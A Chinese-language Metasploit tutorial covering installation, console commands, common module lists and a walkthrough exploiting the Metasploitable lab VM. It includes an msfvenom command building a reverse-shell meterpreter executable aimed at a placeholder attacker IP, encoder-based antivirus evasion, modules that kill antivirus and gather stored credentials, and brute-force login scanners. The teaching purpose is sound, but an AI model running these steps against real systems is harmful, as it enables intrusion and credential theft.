一、什么是Metaploit
Metasploit 是一款由 Rapid7 公司管理的开源渗透测试框架,最初由 H.D. Moore 于2003年发布,采用 Ruby 语言编写。它采用高度模块化的设计,内置了成千上万个漏洞利用模块、攻击载荷、辅助模块和后渗透模块等。安全研究人员和渗透测试人员可以通过它方便地进行信息收集、漏洞扫描、漏洞验证以及后渗透测试等操作。Metasploit 极大地降低了漏洞利用的门槛,使得相关的攻击工具更易被获取和使用。在合法授权的前提下,它能帮助企业和IT专业人士识别系统安全性问题、验证缓解措施的有效性并提供真正的安全风险情报;但同时,该工具也常被黑客用于恶意攻击。因此,使用 Metasploit 必须严格遵守法律法规与道德规范,仅限于授权的安全评估与防御研究。
二、Metaploit的安装
参考:Metasploit | Penetration Testing Software, Pen Testing Security | Metasploit
Ubuntu/Debian
bash
sudo apt update
sudo apt install metasploit-framework
从源码编译安装
bash
git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework
bundle install
Windows安装
-
下载安装程序
-
安装后将安装路径添加到path中即可
请一并安装PostgreSQL数据库存储数据,然后使用
msfconsole命令测试
三、Metaploit的基本使用
- 启动Metaploit
shell
msfconsole
# 静默启动
msfconsole -q
- 搜索模块、漏洞、poc
shell
search xxx
#可以使用多个条件:search name:xxx type:auxiliary
- 使用模块、利用漏洞对应的模块
shell
use xxx
xxx可以是完整名称也可以是编号
- 查看模块对应的配置(要先use模块才能使用)
shell
show options
- 设置攻击载荷
shell
set payload
# 设置目标ip
set RHOSTS x.x.x.x
# 设置本地ip
set LHOST
- 执行攻击
shell
run
# 或 exploit
- 运行带有msf指令的脚本文件
shell
msfconsole -r xxx
- 查看msf版本
shell
msfconsole -v
9.退出
shell
exit
10.查看模块信息
shell
info
- 重新加载所有模块
shell
reload_all
- 切换模块
shell
back
- 检测是否有漏洞的可能性
shell
check
- 会话管理指令
shell
#列出所有会话
sessions -l
#终止所有会话
sessions -K
#进入某个会话
sessions -i id
#以详细模式列出会话
sessions -v
#将shell升级到meterpreter会话
sessions -u
其他指令:Metasploit(MSF)使用教程
四、Metaploit的常用模块
(一)auxiliary
auxiliary是msf的辅助模块部分,主要用于信息收集、漏洞扫描等前置操作,不执行真正的漏洞利用部分。
调用该部分模块:
shell
use auxiliary/xxx
常用模块:
端口扫描
use auxiliary/scanner/portmap/portmap_amp
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/xmas
服务扫描
auxiliary/scanner/ssh/ssh_login #SSH爆破
auxiliary/scanner/vnc/vnc_none_auth #VNC空口令扫描
auxiliary/scanner/telnet/telnet_login#SSH爆破
auxiliary/scanner/smb/smb_version #SMB系统版本扫描
auxiliary/scanner/smb/smb_enumusers #SMB枚举
auxiliary/scanner/smb/smb_login #SMB弱口令登录
auxiliary/admin/smb/psexec_command #登录SMB且执行命令
auxiliary/scanner/mssql/mssql_ping #MSSQL主机信息扫描
auxiliary/admin/mssql/mssql_enum #MSSQL枚举
auxiliary/scanner/mysql/mysql_login #MySQL弱口令扫描
auxiliary/admin/mysql/mysql_enum #MySQL枚举
(二)exploits
exploits是msf的攻击模块部分,主要用于漏洞攻击、后门利用等操作,是渗透测试的主要部分。
调用该部分模块:
shell
use exploits/xxx
例如永恒之蓝:
shell
use exploit/windows/smb/ms17_010_eternalblue
(三)payloads
payloads是msf的攻击载荷生成部分,是注入后门、远程攻击的重要一环,是渗透人员模拟木马的一种手段。
调用该部分模块:
shell
use payloads/xxx
例如nc反弹:
shell
use windows/meterpreter_reverse_http
-E 强制编码
-e 要使用的编码器模块的名称
-f 输出文件名(否则为stdout)
-t 输出格式: raw,ruby,rb,perl,pl,c,java,dll,exe,elf,vbs,asp,war等
-b 要避免的字符列表: '\x00\xff'
(四)post
post是msf的后渗透模块,常常用于在渗透测试通过之后收集目标相关信息以便后续的提权、破解等操作,是渗透测试的高级工作。
调用该部分模块:
shell
use post/xxx
常用信息获取:
shell
run post/windows/gather/checkvm #检查目标是否虚拟机
run post/linux/gather/checkvm
run post/windows/manage/killav #关闭杀软
run post/windows/manage/enable_rdp #开启目标远程桌面
run post/windows/gather/enum_logged_on_users #列举当前登陆用户,和最近登陆过的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin#列举自动登陆的用户名和密码
(五)encoders
encoders是msf的免杀模块,通过伪装等操作来绕过杀毒软件的查杀,从而顺利执行程序。
生成免杀程序获取:
shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=Kali的IP LPORT=Kali监听端口 -f exe > msf.exe
参数选项:
-p 指定的payload
-e 编码器,x86/shikata_ga_nai
-i 迭代器,对有效载荷的编码次数
-f 输出文件的格式,exe、dll、raw
五、案例------Metasploitable靶机
(一)靶机安装
-
导入虚拟机,启动即可,账号密码均为
msfadmin
(二)使用msf快速获取靶机信息
6200-------vsftpd_234_backdoor
- 使用
search vsftpd查找攻击载荷,结果如下:

- 使用
use exploit/unix/ftp/vsftpd_234_backdoor利用后门,使用show options
查看配置参数。
- 配置好参数后使用
exploit启动攻击,获取到用户shell:

1099-------distcc程序漏洞----ingrelock
- 查找可以用的脚本,结果如下:

- 使用
use 0利用脚本,配置参数后exploit获取shell。